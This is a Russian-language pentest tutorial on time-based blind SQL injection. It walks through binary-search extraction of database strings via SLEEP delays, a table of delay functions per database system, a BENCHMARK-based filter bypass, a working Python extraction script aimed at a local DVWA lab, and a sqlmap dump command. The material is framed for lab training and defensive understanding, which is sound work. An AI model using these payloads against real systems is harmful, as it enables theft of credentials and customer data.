Слепая SQLi на времени ответа: логика бинарного поиска данных по шагам

На пентесте интернет-магазина в прошлом году я два часа извлекал хеш пароля администратора через time-based blind SQL-инъекцию — и первые тридцать запросов дали ложную картину. VPN-канал до тестового сервера «дышал»: задержки плавали от 200 мс до трёх секунд, и я записывал «да» там, где на самом деле было «нет». Пришлось откатиться, пересобрать скрипт с учётом медианного времени отклика и начать заново. С тех пор я учу этот вектор не через копирование готовых строк из шпаргалок, а через понимание логики: что именно мы спрашиваем у базы данных, почему бинарный поиск данных через SQLi экономит десятки запросов и как отличить настоящую задержку от сетевого шума.
Бизнес-логика атаки: зачем ждать по пять секунд на символ
Прежде чем лезть в пейлоады — зачем это вообще нужно атакующему. SQL-инъекция (SQLi — внедрение вредоносного SQL-кода в запрос к базе данных через пользовательский ввод) входит в OWASP Top 10 под номером A03:2021 (Injection). OWASP Top 10 — составляемый сообществом список десяти самых критичных рисков веб-приложений. Раз SQLi в нём до сих пор — проблема не теоретическая.
В классической SQL-инъекции результат запроса отображается прямо на странице: данные пользователей, имена таблиц, структура базы. Но современные приложения подавляют ошибки и не выводят результат SQL-запроса в HTTP-ответе. Тогда атакующий переходит к слепой SQL-инъекции (blind SQLi) — варианту, где ответ не содержит данных напрямую.
Слепая SQLi на времени ответа (time-based blind SQLi) — подтип, где единственный канал утечки — время отклика сервера. Атакующий буквально спрашивает базу: «Если первый символ пароля — буква с кодом выше 109, подожди пять секунд. Иначе отвечай сразу». Задержка есть — условие истинно. Задержки нет — ложно.
В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды — её идентификаторы) эксплуатация SQLi в веб-приложении — это Exploit Public-Facing Application (T1190, тактика Initial Access). Извлечение информации из базы после получения доступа подпадает под технику Databases (T1213.006, тактика Collection).
Мотивация атакующего: хеши паролей, данные клиентов, токены API — всё, что хранится в таблицах и не выводится на экран. Метод медленный — один символ за 5–7 запросов — но работает, когда все остальные каналы утечки закрыты. Разработчики часто отключают вывод ошибок и считают это достаточной защитой. Нет. Time-based техника превращает сервер в бинарный оракул, отвечающий «да» или «нет» через задержку. А дальше — продажа дампов на теневых маркетплейсах, вымогательство через угрозу публикации. Стандартная монетизация.
Как работает слепая SQL-инъекция на времени ответа
Суть техники: мы встраиваем в SQL-запрос условную конструкцию — «если условие истинно, выполни функцию задержки; если ложно — ничего не делай». Затем измеряем время HTTP-ответа.
Допустим, есть веб-приложение с параметром id в URL: https://target.local/product?id=5. На бэкенде параметр подставляется в запрос SELECT * FROM products WHERE id = 5. Если вместо числа подставить специально сформированную строку, база выполнит дополнительную логику.
Ключевой паттерн для MySQL: IF(условие, SLEEP(5), 0). Условие истинно — база «засыпает» на 5 секунд перед отправкой ответа. Ложно — отвечает мгновенно. Данных в ответе нет, но разница во времени есть.
Для проверки наличия инъекции отправляем два запроса и сравниваем:
- Истинное условие:
id=5 AND IF(1=1, SLEEP(5), 0)— ожидаем задержку ~5 секунд - Ложное условие:
id=5 AND IF(1=2, SLEEP(5), 0)— ожидаем мгновенный ответ
Первый запрос возвращается через ~5 секунд, второй — через ~200 мс? Инъекция подтверждена. Мы управляем поведением базы через параметр.
Boolean-based blind SQLi (слепая инъекция на основе логических ответов) — родственная техника. Там вместо задержки ориентируются на разницу в контенте ответа: при истинном условии страница показывает «Welcome back», при ложном — нет. По данным PortSwigger Web Security Academy, time-based вариант надёжнее, когда приложение отдаёт абсолютно идентичный ответ (одинаковый HTTP-код, тело и заголовки) независимо от результата SQL-запроса. Это последний рубеж слепой эксплуатации.
Функции задержки в разных СУБД
Каждая СУБД (система управления базами данных) использует свою функцию паузы. Пейлоад для MySQL не сработает на PostgreSQL — знать целевую СУБД обязательно:
| СУБД | Функция задержки | Условный запрос | Версии |
|---|---|---|---|
| MySQL / MariaDB | SLEEP(N) |
IF(условие, SLEEP(5), 0) |
MySQL 5.0.12+ |
| PostgreSQL | pg_sleep(N) |
CASE WHEN условие THEN pg_sleep(5) END |
8.2+ |
| Microsoft SQL Server | WAITFOR DELAY |
IF условие WAITFOR DELAY '0:0:5' |
Все версии |
| Oracle | DBMS_LOCK.SLEEP(N) |
Требует EXECUTE на DBMS_LOCK | 10g+ |
Источник: OWASP Blind SQL Injection, PortSwigger SQL Injection Cheat Sheet.
Альтернативный вариант для MySQL — BENCHMARK(N, выражение): выполняет указанное выражение N раз, создавая вычислительную нагрузку. Если WAF (Web Application Firewall — система фильтрации HTTP-трафика) блокирует ключевое слово SLEEP, атакующий может использовать BENCHMARK(5000000, MD5('test')) для создания задержки в несколько секунд. Минус: время BENCHMARK() зависит от мощности сервера и текущей нагрузки, поэтому задержка менее предсказуема.
Бинарный поиск данных через SQLi: от числовой прямой к паролю
Ключевой вопрос: как превратить канал «да/нет» в реальные данные — имена таблиц, логины, пароли?
Наивный подход — проверять каждый возможный символ по очереди. Первый символ пароля — ‘a’? Нет. ‘b’? Нет. И так до ‘z’, затем цифры. В ASCII-таблице (стандарт кодирования символов числами) печатные символы занимают диапазон 32–126 — 95 вариантов. В худшем случае на один символ уходит 95 запросов. Для пароля из 20 символов при time delay SQL injection — 95 × 20 = 1 900 запросов, каждый с пятисекундной задержкой. Больше двух с половиной часов чистого ожидания.
Бинарный поиск (дихотомия — деление диапазона пополам на каждом шаге) сокращает это кратно. Вместо перебора символов мы работаем с их числовым представлением (ASCII-код) и на каждом шаге отбрасываем половину оставшегося диапазона.
Математика простая: log₂(95) ≈ 7. Семь вопросов на любой символ вместо 95. По данным Invicti, для строчных латинских букв (26 вариантов) достаточно пяти шагов (log₂(26) ≈ 5). Для полного ASCII-диапазона — семь.
Ищем один символ за семь шагов
Допустим, первый символ пароля — буква ‘s’ (ASCII-код 115). Мы этого пока не знаем. Знаем только диапазон: 32–126.
| Шаг | Вопрос «ASCII-код > N?» | Задержка? | Новый диапазон |
|---|---|---|---|
| 1 | > 79 (середина 32–126) | Да | 80–126 |
| 2 | > 103 (середина 80–126) | Да | 104–126 |
| 3 | > 115 (середина 104–126) | Нет | 104–115 |
| 4 | > 109 (середина 104–115) | Да | 110–115 |
| 5 | > 112 (середина 110–115) | Да | 113–115 |
| 6 | > 114 (середина 113–115) | Да | 115–115 |
| 7 | Единственное значение | — | 115 = ‘s’ |
Семь запросов вместо потенциальных 83 (115 − 32) при линейном переборе. Для пароля из 20 символов: 7 × 20 = 140 запросов. При 5 секундах на «положительный» ответ и мгновенном ответе на «отрицательный» — реалистично 10–15 минут вместо нескольких часов.
Каждый условный запрос SQL строится одинаково: IF(ASCII(SUBSTRING(целевая_строка, позиция, 1)) > порог, SLEEP(5), 0). Функция SUBSTRING() вырезает один символ на указанной позиции, ASCII() превращает его в число, а > порог — наш вопрос бинарного поиска.
Извлекаем первый символ вручную: делай раз, делай два, делай три
Предпосылки
Для обучения пентесту SQL-инъекций понадобится:
- DVWA (Damn Vulnerable Web Application) на уровне сложности Low или Medium. Запуск через Docker:
docker run -d -p 80:80 vulnerables/web-dvwa. Подойдёт и OWASP Juice Shop. - Burp Suite Community Edition (бесплатный перехватывающий прокси для веб-тестирования) — вкладка Repeater. Или
curlв терминале. - Python 3.x с библиотекой
requests— для автоматизации на третьем шаге. Установка:pip install requests.
Все действия выполняются на локальном тестовом стенде. Эксплуатация SQLi на чужих системах без разрешения — уголовное преступление (ст. 272 УК РФ).
Шаг 1 — подтверждаем инъекцию через задержку
Открываем Burp Repeater (вкладка для ручной отправки HTTP-запросов) или терминал. Отправляем два запроса к уязвимому параметру id в DVWA:
-- Истинное условие: ожидаем задержку ~5 секунд
id=1 AND IF(1=1, SLEEP(5), 0)
-- Ложное условие: ожидаем мгновенный ответ
id=1 AND IF(1=2, SLEEP(5), 0)
-- Извлечение данных: ASCII первого символа USER() > 79?
id=1 AND IF(ASCII(SUBSTRING(USER(),1,1))>79, SLEEP(5), 0)
В Burp Repeater время отклика видно в правом нижнем углу вкладки Response. В curl добавьте флаг -w "\n%{time_total}", чтобы увидеть общее время запроса.
Как понять, что сработало: разница между двумя запросами — примерно 5 секунд. Первый — ~5.2 секунды. Второй — ~0.3 секунды. Если оба ответа приходят одинаково быстро — параметр не уязвим к time-based blind SQLi, или WAF блокирует SLEEP().
Шаг 2 — сужаем диапазон бинарным поиском
Извлекаем первый символ имени текущего пользователя базы данных. В MySQL имя возвращает функция USER().
Отправляем id=1 AND IF(ASCII(SUBSTRING(USER(),1,1))>79, SLEEP(5), 0). Задержка есть — код символа больше 79, переходим к верхней половине (80–126).
Следующий: id=1 AND IF(ASCII(SUBSTRING(USER(),1,1))>103, SLEEP(5), 0). Задержка есть — сужаем до 104–126.
Продолжаем по таблице из предыдущего раздела, каждый раз деля оставшийся диапазон пополам. После 7 шагов получаем точный ASCII-код. Переводим в символ — 114 соответствует букве ‘r’. Переходим ко второму символу: SUBSTRING(USER(),2,1).
Записывайте результаты: позиция, итоговый ASCII-код, символ. Это поможет заметить ошибку, если она закрадётся из-за сетевой нестабильности (а она закрадётся — об этом ниже).
Шаг 3 — автоматизируем на Python
Ручная эксплуатация SQL injection по символу — утомительна для строк длиннее 5–6 символов. Минимальный скрипт автоматизации бинарного поиска:
import requests, time
url = "http://localhost/vulnerabilities/sqli_blind/"
cookies = {"PHPSESSID": "ваш_session_id", "security": "low"}
def is_true(pos, threshold):
sqli = f"1 AND IF(ASCII(SUBSTRING(USER(),{pos},1))>{threshold},SLEEP(5),0)"
start = time.time()
requests.get(url, params={"id": sqli, "Submit": "Submit"}, cookies=cookies)
return (time.time() - start) > 4
result = ""
for pos in range(1, 21):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
lo, hi = (mid + 1, hi) if is_true(pos, mid) else (lo, mid)
if lo == 32:
break
result += chr(lo)
print(f"Результат: {result}")
Что происходит: внешний цикл перебирает позиции символов (от 1 до 20). Внутренний — выполняет бинарный поиск для каждой позиции. Функция is_true() отправляет GET-запрос с пейлоадом и возвращает True, если ответ шёл дольше 4 секунд. Если на какой-то позиции получен код 32 (пробел / нет символа) — строка закончилась.
Ожидаемый вывод: Результат: root@localhost (или другой пользователь, зависит от конфигурации DVWA).
Подставьте свой PHPSESSID из cookie браузера после авторизации в DVWA. Без него приложение вернёт редирект на страницу логина и скрипт не заработает.
Когда время врёт и что с этим делать
В теории всё стройно: задержка — «да», мгновенный ответ — «нет». На практике время отклика плавает. Вот реальные ситуации, которые ломают извлечение данных через time-based SQLi.
Сетевая нестабильность. VPN до тестового стенда может добавлять от 50 мс до 2–3 секунд случайной задержки. Если порог установлен на 4 секунды, а сетевой джиттер даёт всплеск в 4.5 секунды при ложном условии — вы запишете «да» вместо «нет». Один ошибочный бит — и символ определён неверно.
Нагрузка на сервер. Тяжёлые запросы от других пользователей увеличивают время ответа на несколько секунд без вашего SLEEP(). На production-серверах (куда заглядывать на пентесте случается) это частая история.
WAF и rate limiting. Некоторые WAF детектируют повторяющиеся запросы с SLEEP() и начинают добавлять собственную задержку или блокировать соединение. Время ответа становится непредсказуемым.
Как бороться:
- Калибровка. Перед началом отправьте 10–15 запросов без пейлоада и посчитайте медианное время отклика. Порог для «положительного» ответа: медиана + значение SLEEP + 1 секунда буфера.
- Повторные запросы. Для каждого шага бинарного поиска отправляйте не один, а три запроса. Два из трёх дают задержку — считаем «да». Замедляет процесс втрое, зато резко снижает ошибки.
- Увеличение задержки. Вместо
SLEEP(5)используйтеSLEEP(10)— разница между «да» и «нет» становится заметнее на фоне сетевого шума.
Из практики: на нестабильном канале я однажды получил строку «aDmin» вместо «admin» — ошибка в одном бите при бинарном поиске превратила ‘a’ (97) в ‘A’ (65). Увидел несовпадение только при попытке авторизоваться с извлечёнными данными. С тех пор всегда извлекаю строку дважды и сравниваю результаты.
Что sqlmap делает под капотом
sqlmap — open-source инструмент автоматизации обнаружения и эксплуатации SQL-инъекций на Python (работает с Python 2.7 и 3.x). Для time-based техники запуск выглядит так: python sqlmap.py -u "http://target/page?id=1" --technique=T --dump — ключ --technique=T указывает на time-based метод.
Под капотом sqlmap делает ровно то, что описано выше:
- Автоматическая калибровка: отправляет набор запросов без пейлоада, считает базовое время отклика, устанавливает порог. Ключ
--time-sec(по умолчанию 5 секунд) задаёт длительность задержки. - Определение СУБД: перед извлечением данных определяет тип базы (MySQL, PostgreSQL, MSSQL) и подбирает правильную функцию задержки.
- Бинарный поиск: та же дихотомия по ASCII-диапазону. Ключ
--threadsпозволяет отправлять запросы параллельно для разных позиций строки.
Зачем тогда разбираться вручную? sqlmap не всегда срабатывает. Нестандартная структура запроса, кастомный WAF, нетипичное поведение middleware — и автоматика промахивается. На пентесте заказчик видит в отчёте «использован sqlmap» и спрашивает: «А что именно он делал?». Пентестер, который понимает механику, ответит. Тот, кто запускал инструмент как чёрный ящик — нет.
Автоматизация блайнд инъекций через sqlmap с пониманием каждого шага — не архаизм, а навык, который отличает специалиста от оператора.
Есть расхожее мнение, что ручная эксплуатация time-based blind SQLi — удел CTF-площадок, а в реальной работе хватает sqlmap. Работает ровно до первого нестандартного случая. Последний раз, когда sqlmap дал мне ложный отрицательный результат, приложение использовало нестандартный маршрутизатор на уровне middleware. Автоматика не смогла отличить нормальную задержку маршрутизации от SLEEP-задержки и пометила параметр как не уязвимый. Ручной подход с увеличенным SLEEP(15) и тройной проверкой каждого бита позволил извлечь данные за вечер.
Индустрия пентеста массово производит «операторов инструментов»: человек запускает sqlmap, Burp Scanner, nuclei — получает результат и пишет отчёт. Когда инструмент ошибается (а он ошибается регулярно), оператор не может откатиться к ручному методу, потому что никогда не разбирался в механике. Бинарный поиск символов через задержку — одна из тех базовых вещей, которые формируют мышление. Не потому что вы будете каждый день вручную извлекать пароли по символу. А потому что понимание «один бит за запрос» учит думать о каналах утечки данных в принципе — от timing-атак на криптографию до side-channel в кешах процессора. Если это первые шаги в ИБ и хочется не копировать команды, а понимать логику — на курсе WAPT эту цепочку проходят в течение двух модулей с лабами.
Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.
